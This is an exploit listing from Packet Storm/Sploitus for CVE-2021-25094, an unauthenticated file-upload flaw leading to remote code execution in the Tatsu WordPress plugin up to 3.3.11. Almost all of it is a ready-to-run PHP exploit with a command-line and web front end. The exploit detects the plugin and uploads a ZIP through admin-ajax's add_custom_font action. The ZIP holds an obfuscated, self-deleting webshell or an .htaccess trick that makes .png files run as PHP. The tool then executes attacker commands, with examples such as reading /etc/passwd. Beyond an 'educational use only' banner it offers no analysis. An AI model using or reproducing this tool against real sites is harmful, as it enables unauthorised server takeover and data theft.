Share
## https://sploitus.com/exploit?id=PACKETSTORM:215075
=============================================================================================================================================
    | # Title     : WordPress Tatsu 3.3.11 Plugin Unauthenticated File Upload                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://tatsubuilder.com/                                                                                                   |
    =============================================================================================================================================
    
    [+] References :  https://packetstorm.news/files/id/190566/ & 	CVE-2021-25094
    
    [+] Summary : 
                 Critical unauthenticated remote code execution vulnerability in Tatsu WordPress Plugin (versions 3.3.11) 
    			 allowing attackers to upload and execute arbitrary PHP code through malicious ZIP file uploads without any authentication.
    			 
    [+]  POC : 
    
    php poc.php  or http://127.0.0.1/poc.php 
    
    <?php
    /*
     * Tatsu WordPress Plugin Pre-Auth RCE Exploit
     * CVE-2021-25094
     * by indoushka
     * PHP Implementation based on Python exploit
     */
    
    class TatsuRCEExploit {
        private $target;
        private $port;
        private $ssl;
        private $base_path;
        private $timeout;
        private $headers;
        private $zip_name;
        private $shell_filename;
        
        public function __construct($target, $port = 80, $ssl = false, $base_path = '/') {
            $this->target = $target;
            $this->port = $port;
            $this->ssl = $ssl;
            $this->base_path = rtrim($base_path, '/');
            $this->timeout = 30;
            $this->headers = [
                'X-Requested-With: XMLHttpRequest',
                'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
                'Accept: */*',
                'Accept-Language: en-US,en;q=0.9'
            ];
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking Tatsu WordPress Plugin vulnerability...\n";
            
            // Check if WordPress is accessible
            $res = $this->send_request('/');
            if (!$res || $res['code'] != 200) {
                echo "[-] Cannot access WordPress site\n";
                return "unknown";
            }
            
            // Check Tatsu plugin
            $res = $this->send_request('/wp-content/plugins/tatsu/');
            if ($res && $res['code'] == 200) {
                echo "[+] Tatsu plugin detected\n";
                
                // Try to check version from changelog
                $version = $this->check_version();
                if ($version && $this->is_version_vulnerable($version)) {
                    echo "[+] โœ“ Tatsu version $version is vulnerable\n";
                    return "vulnerable";
                } else {
                    echo "[+] Tatsu plugin found (version check failed)\n";
                    return "likely_vulnerable";
                }
            }
            
            echo "[-] Tatsu plugin not found\n";
            return "safe";
        }
        
        /**
         * Check Tatsu version
         */
        private function check_version() {
            $res = $this->send_request('/wp-content/plugins/tatsu/changelog.md');
            if ($res && $res['code'] == 200) {
                if (preg_match('/v?(\d+\.\d+\.\d+)/', $res['body'], $matches)) {
                    return $matches[1];
                }
            }
            return null;
        }
        
        /**
         * Check if version is vulnerable
         */
        private function is_version_vulnerable($version) {
            return version_compare($version, '3.3.11', '<=');
        }
        
        /**
         * Generate malicious ZIP file
         */
        private function generate_zip($technique = 'php', $custom_shell = null, $keep = false) {
            echo "[*] Generating malicious ZIP file...\n";
            
            $zip = new ZipArchive();
            $zip_filename = tempnam(sys_get_temp_dir(), 'tatsu_') . '.zip';
            
            if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
                return false;
            }
            
            $this->zip_name = $this->random_string(3);
            $this->shell_filename = '.' . $this->random_string(5);
            
            switch ($technique) {
                case 'php':
                    $shell_content = $this->generate_php_shell($keep);
                    $this->shell_filename .= '.php';
                    break;
                    
                case 'htaccess':
                    $shell_content = $this->generate_htaccess_shell($keep);
                    $this->shell_filename .= '.png';
                    break;
                    
                case 'custom':
                    if ($custom_shell && file_exists($custom_shell)) {
                        $shell_content = file_get_contents($custom_shell);
                        $this->shell_filename = '.' . basename($custom_shell);
                    } else {
                        echo "[-] Custom shell file not found\n";
                        return false;
                    }
                    break;
                    
                default:
                    echo "[-] Unknown technique: $technique\n";
                    return false;
            }
            
            if ($technique == 'htaccess') {
                $zip->addFromString('.htaccess', "AddType application/x-httpd-php .png\n");
            }
            
            $zip->addFromString($this->shell_filename, $shell_content);
            $zip->close();
            
            $zip_content = file_get_contents($zip_filename);
            unlink($zip_filename);
            
            return $zip_content;
        }
        
        /**
         * Generate PHP shell
         */
        private function generate_php_shell($keep = false) {
            $shell = '<?php ';
            $shell .= '$f = "lmeyst";';
            $shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
            $shell .= '@$words = array(base64_decode($_POST[\'text\']));';
            $shell .= '$j="array"."_"."filter";';
            $shell .= '@$filtered_words = $j($words, $a);';
            if (!$keep) {
                $shell .= '@unlink(__FILE__);';
            }
            $shell .= '?>';
            
            return $shell;
        }
        
        /**
         * Generate .htaccess + PHP shell
         */
        private function generate_htaccess_shell($keep = false) {
            $shell = '<?php ';
            $shell .= '$f = "lmeyst";';
            $shell .= '@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];';
            $shell .= '@$words = array(base64_decode($_POST[\'text\']));';
            $shell .= '$j="array"."_"."filter";';
            $shell .= '@$filtered_words = $j($words, $a);';
            if (!$keep) {
                $shell .= '@unlink(\'.\'+\'h\'+\'t\'+\'a\'+\'cc\'+\'e\'+\'ss\');';
                $shell .= '@unlink(__FILE__);';
            }
            $shell .= '?>';
            
            return $shell;
        }
        
        /**
         * Upload malicious ZIP
         */
        private function upload_zip($zip_content) {
            echo "[*] Uploading malicious ZIP file...\n";
            
            $boundary = '----WebKitFormBoundary' . $this->random_string(16);
            
            $data = "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";
            $data .= "add_custom_font\r\n";
            $data .= "--{$boundary}\r\n";
            $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"{$this->zip_name}.zip\"\r\n";
            $data .= "Content-Type: application/zip\r\n\r\n";
            $data .= $zip_content . "\r\n";
            $data .= "--{$boundary}--\r\n";
            
            $headers = array_merge($this->headers, [
                "Content-Type: multipart/form-data; boundary={$boundary}",
                "Content-Length: " . strlen($data)
            ]);
            
            $res = $this->send_request('/wp-admin/admin-ajax.php', 'POST', [], $data, $headers);
            
            if ($res && $res['code'] == 200) {
                $json = json_decode($res['body'], true);
                if ($json && isset($json['status']) && $json['status'] == 'success') {
                    echo "[+] ZIP file uploaded successfully\n";
                    if (isset($json['name'])) {
                        $this->zip_name = $json['name'];
                    }
                    return true;
                }
            }
            
            echo "[-] ZIP upload failed\n";
            if ($res) {
                echo "[-] HTTP {$res['code']}: {$res['body']}\n";
            }
            return false;
        }
        
        /**
         * Execute command via uploaded shell
         */
        public function execute_command($command, $technique = 'php', $custom_shell = null, $keep = false) {
            echo "[*] Executing command: $command\n";
            
            // Generate and upload ZIP
            $zip_content = $this->generate_zip($technique, $custom_shell, $keep);
            if (!$zip_content) {
                echo "[-] Failed to generate ZIP file\n";
                return false;
            }
            
            if (!$this->upload_zip($zip_content)) {
                return false;
            }
            
            // Build shell URL
            $shell_url = "/wp-content/uploads/typehub/custom/{$this->zip_name}/{$this->shell_filename}";
            echo "[+] Shell URL: {$this->build_url($shell_url)}\n";
            
            // Execute command
            $encoded_cmd = base64_encode($command);
            $post_data = "text={$encoded_cmd}";
            
            $headers = array_merge($this->headers, [
                'Content-Type: application/x-www-form-urlencoded',
                'Content-Length: ' . strlen($post_data)
            ]);
            
            $res = $this->send_request($shell_url, 'POST', [], $post_data, $headers);
            
            if ($res && $res['code'] == 200) {
                echo "[+] Command executed successfully\n";
                echo "[+] Output:\n{$res['body']}\n";
                return true;
            } else {
                echo "[-] Command execution failed\n";
                if ($res) {
                    echo "[-] HTTP {$res['code']}\n";
                }
                return false;
            }
        }
        
        /**
         * Full exploitation
         */
        public function exploit($command = 'whoami', $technique = 'php', $custom_shell = null, $keep = false) {
            echo "[*] Starting Tatsu WordPress Plugin exploitation...\n";
            
            // Check vulnerability first
            $status = $this->check();
            if ($status !== "vulnerable" && $status !== "likely_vulnerable") {
                echo "[-] Target does not appear to be vulnerable\n";
                return false;
            }
            
            echo "[*] Target appears vulnerable, proceeding with exploitation...\n";
            
            if ($this->execute_command($command, $technique, $custom_shell, $keep)) {
                echo "[+] โœ“ Exploitation completed successfully\n";
                return true;
            } else {
                echo "[-] Exploitation failed\n";
                return false;
            }
        }
        
        /**
         * Send HTTP request
         */
        private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) {
            $url = $this->build_url($path);
            
            if ($method == 'GET' && !empty($params)) {
                $url .= '?' . http_build_query($params);
            }
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_FOLLOWLOCATION => false,
                CURLOPT_HEADER => false
            ]);
            
            // Add POST data if provided
            if ($method == 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
            }
            
            // Build headers
            $headers = array_merge($this->headers, $custom_headers);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            if ($response !== false) {
                return [
                    'code' => $http_code,
                    'body' => $response
                ];
            }
            
            return false;
        }
        
        /**
         * Generate random string
         */
        private function random_string($length = 8) {
            $chars = 'abcdefghijklmnopqrstuvwxyz';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $result;
        }
        
        /**
         * Build full URL
         */
        private function build_url($path) {
            $protocol = $this->ssl ? 'https' : 'http';
            $full_path = $this->base_path . $path;
            return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
        }
    }
    
    // CLI Interface
    if (php_sapi_name() === 'cli') {
        echo "
        โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
        โ•‘                Tatsu WordPress Plugin RCE                   โ•‘
        โ•‘                      CVE-2021-25094                         โ•‘
        โ•‘                     PHP Implementation                      โ•‘
        โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        
        \n";
        
        $options = getopt("t:p:s:u:cC:T:k", [
            "target:",
            "port:",
            "ssl",
            "uri:",
            "check",
            "command:",
            "technique:",
            "custom-shell:",
            "keep"
        ]);
        
        $target = $options['t'] ?? $options['target'] ?? null;
        $port = $options['p'] ?? $options['port'] ?? 80;
        $ssl = isset($options['s']) || isset($options['ssl']);
        $base_uri = $options['u'] ?? $options['uri'] ?? '/';
        $check_only = isset($options['c']) || isset($options['check']);
        $command = $options['C'] ?? $options['command'] ?? 'whoami';
        $technique = $options['T'] ?? $options['technique'] ?? 'php';
        $custom_shell = $options['custom-shell'] ?? null;
        $keep = isset($options['k']) || isset($options['keep']);
        
        if (!$target) {
            echo "Usage: php tatsu_exploit.php [options]\n";
            echo "Options:\n";
            echo "  -t, --target        Target host (required)\n";
            echo "  -p, --port          Target port (default: 80)\n";
            echo "  -s, --ssl           Use SSL (default: false)\n";
            echo "  -u, --uri           Base URI path (default: /)\n";
            echo "  -c, --check         Check only (don't exploit)\n";
            echo "  -C, --command       Command to execute (default: whoami)\n";
            echo "  -T, --technique     Shell technique: php, htaccess, custom (default: php)\n";
            echo "  --custom-shell      Custom shell file path (for custom technique)\n";
            echo "  -k, --keep          Keep shell file after execution\n";
            echo "\nExamples:\n";
            echo "  php tatsu_exploit.php -t wordpress.example.com -c\n";
            echo "  php tatsu_exploit.php -t 192.168.1.100 -C 'id; uname -a'\n";
            echo "  php tatsu_exploit.php -t site.com -T htaccess -C 'cat /etc/passwd'\n";
            exit(1);
        }
        
        $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
        
        if ($check_only) {
            $result = $exploit->check();
            echo "\n[*] Result: {$result}\n";
        } else {
            if ($exploit->exploit($command, $technique, $custom_shell, $keep)) {
                echo "[+] Exploitation completed successfully\n";
            } else {
                echo "[-] Exploitation failed\n";
            }
        }
        
    } else {
        // Web Interface
        $action = $_POST['action'] ?? '';
        
        if ($action === 'check' || $action === 'exploit') {
            $target = $_POST['target'] ?? '';
            $port = $_POST['port'] ?? 80;
            $ssl = isset($_POST['ssl']);
            $base_uri = $_POST['uri'] ?? '/';
            $command = $_POST['command'] ?? 'whoami';
            $technique = $_POST['technique'] ?? 'php';
            $keep = isset($_POST['keep']);
            
            if (empty($target)) {
                echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
            } else {
                $exploit = new TatsuRCEExploit($target, $port, $ssl, $base_uri);
                
                ob_start();
                if ($action === 'check') {
                    $exploit->check();
                } else {
                    $exploit->exploit($command, $technique, null, $keep);
                }
                $output = ob_get_clean();
                
                echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
            }
            
            echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
            
        } else {
            // Display the form
            echo '<!DOCTYPE html>
            <html>
            <head>
                <title>Tatsu WordPress Plugin RCE - CVE-2021-25094</title>
                <meta charset="UTF-8">
                <style>
                    body { 
                        font-family: Arial, sans-serif; 
                        margin: 0; 
                        padding: 20px; 
                        background: #f5f5f5;
                    }
                    .container { 
                        max-width: 800px; 
                        margin: 0 auto; 
                        background: white;
                        padding: 30px;
                        border-radius: 8px;
                        box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                    }
                    h1 { 
                        color: #333; 
                        border-bottom: 2px solid #007cba;
                        padding-bottom: 10px;
                    }
                    .form-group { 
                        margin-bottom: 20px; 
                    }
                    label { 
                        display: block; 
                        margin-bottom: 8px; 
                        font-weight: bold;
                        color: #333;
                    }
                    input[type="text"], select { 
                        width: 100%; 
                        padding: 10px; 
                        border: 1px solid #ddd; 
                        border-radius: 4px; 
                        box-sizing: border-box;
                        font-size: 14px;
                    }
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    button { 
                        background: #007cba; 
                        color: white; 
                        padding: 12px 25px; 
                        border: none; 
                        border-radius: 4px; 
                        cursor: pointer; 
                        margin-right: 10px;
                        font-size: 16px;
                    }
                    .danger { 
                        background: #dc3545; 
                    }
                    .info { 
                        background: #17a2b8; 
                    }
                    .warning-box {
                        background: #fff3cd;
                        border: 1px solid #ffeaa7;
                        color: #856404;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                    .info-box {
                        background: #d1ecf1;
                        border: 1px solid #bee5eb;
                        color: #0c5460;
                        padding: 15px;
                        border-radius: 4px;
                        margin: 20px 0;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>Tatsu WordPress Plugin RCE</h1>
                    <h3>CVE-2021-25094 - Unauthenticated Remote Code Execution</h3>
                    
                    <div class="warning-box">
                        <strong>โš ๏ธ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in Tatsu WordPress Plugin.
                        Use only on systems you own or have explicit permission to test.
                    </div>
                    
                    <form method="post">
                        <div class="form-group">
                            <label for="target">Target Host:</label>
                            <input type="text" id="target" name="target" placeholder="wordpress.example.com" required>
                        </div>
                        
                        <div class="form-group">
                            <label for="port">Port:</label>
                            <input type="text" id="port" name="port" value="80">
                        </div>
                        
                        <div class="form-group">
                            <label for="uri">Base URI:</label>
                            <input type="text" id="uri" name="uri" value="/">
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="ssl" name="ssl">
                                <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label for="command">Command to Execute:</label>
                            <input type="text" id="command" name="command" value="whoami">
                        </div>
                        
                        <div class="form-group">
                            <label for="technique">Shell Technique:</label>
                            <select id="technique" name="technique">
                                <option value="php">PHP Shell</option>
                                <option value="htaccess">.htaccess + PHP</option>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <div class="checkbox-group">
                                <input type="checkbox" id="keep" name="keep">
                                <label for="keep" style="display: inline; font-weight: normal;">Keep shell file</label>
                            </div>
                        </div>
                        
                        <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                        <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                    </form>
                    
                    <div class="info-box">
                        <h3>About CVE-2021-25094:</h3>
                        <p><strong>Vulnerability:</strong> Unauthenticated file upload leading to RCE</p>
                        <p><strong>Affected Versions:</strong> Tatsu Plugin โ‰ค 3.3.11</p>
                        <p><strong>Authentication:</strong> None required</p>
                        <p><strong>Endpoint:</strong> /wp-admin/admin-ajax.php</p>
                        <p><strong>Action:</strong> add_custom_font</p>
                        <p><strong>Impact:</strong> Remote Code Execution via ZIP file upload</p>
                        <p><strong>Exploit Chain:</strong> ZIP Upload โ†’ File Extraction โ†’ PHP Execution</p>
                    </div>
                </div>
            </body>
            </html>';
        }
    }
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================